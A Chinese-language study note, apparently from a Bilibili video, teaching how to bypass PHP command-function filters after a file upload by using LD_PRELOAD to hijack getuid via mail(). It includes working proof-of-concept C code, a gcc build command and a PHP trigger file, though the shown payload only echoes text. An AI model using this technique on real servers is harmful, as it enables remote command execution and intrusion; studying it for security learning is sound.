学习自0x03 LD_PRELOAD绕过原理介绍_哔哩哔哩_bilibili
首先是为什么需要LD_PRELOAD来进行绕过?
我们会遇到存在文件上传漏洞,但是把所有命令执行函数全部过滤的情况,这时候无论是什么命令执行函数都不行。那么有一种方法可以从源头上达到执行命令的方法,LD_PRELOAD就是其中一种。
什么是LD_PRELOAD?
LD_PRELOAD是一个在Linux/Unix系统中的环境变量,它允许程序在启动前预加载一个或多个共享库(通常是.so文件)到程序的地址空间中。
什么是库?
库,顾名思义就是用来存放东西的地方,在程序执行这块,就是用来存储程序将要用到的各种函数。这里主要指动态链接库,详细的内容请百度看看程序编译过程。
库里存放了程序执行可能要用到的各种函数。当程序执行时,遇到某个要执行的函数,就会从库中寻找对应的函数。这里有个危险的地方,就是程序寻找这个函数是通过名字,也就是说,我们将这个库中的某个函数内容修改为完全不同的内容,只要名字不变,程序就依旧会执行它。
如何利用LD_PRELOAD绕过
LD_PRELOAD的作用是让我们可以修改库。因此,我们可以自定义一个库,库中指定程序会用到的某个函数,并且精心设计,让这个函数最终可以达到攻击目的。
我们通常会利用mail函数来开始。mail函数执行时会调用getuid函数,此函数会查询当前用户是否为root或者普通用户,因此肯定是靠前执行的。因此我们对这个函数下手。
首先由于存在文件上传漏洞,所以我们要上传一个特殊的php文件,名为demo.php。初步设计文件内容如下:
<?php
mail("","","","");
?>
我们查看这个文件执行时会调用哪些函数,在linux下的命令如下:
strace -o 1.txt -f php demo.php #将demo.php文件执行时调用的函数名称写入1.txt文件方便查询
然后我们查看1.txt
cat 1.txt
内容繁杂,于是进一步缩小范围,查看执行命令的部分
cat 1.txt | grep execve
由于这是php文件,所以第一个execve肯定是/usr/bin/php,而之后的两个则都是关于sendline的,我们继续查看关于/usr/sbin/sendmail的信息。
readelf -Ws /usr/sbin/sendmail
结果依旧繁杂,我们在其中不断寻找,最后找到getuid函数
发现确实有这个getuid函数,因此理论上我们可以来编写假的getuid函数来顶替了。
开始编写脚本
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){
system("echo 'what can i say'");
}
int getuid(){ //编写自定义的getuid
unsetenv("LD_PRELOAD"); //这里必须要有这步,否则会循环,详细可查询此函数
payload();
}
再将这个c文件编译成.so文件(动态链接库文件)。
gcc -shared -fPIC poc.c -o poc.so
我们最后还需要在原先的demo.php文件中加入我们新修改而成的库文件的地址,以便于其调用
<?php
putenv("LD_PRELOAD=./poc.so"); //指定库文件路径
mail("","","","");
?>
最后执行查看效果
php demo.php
至此,我们利用了LD_PRELOAD修改了共享库,从而在命令执行函数都被过滤的情况下最终执行了微危险函数。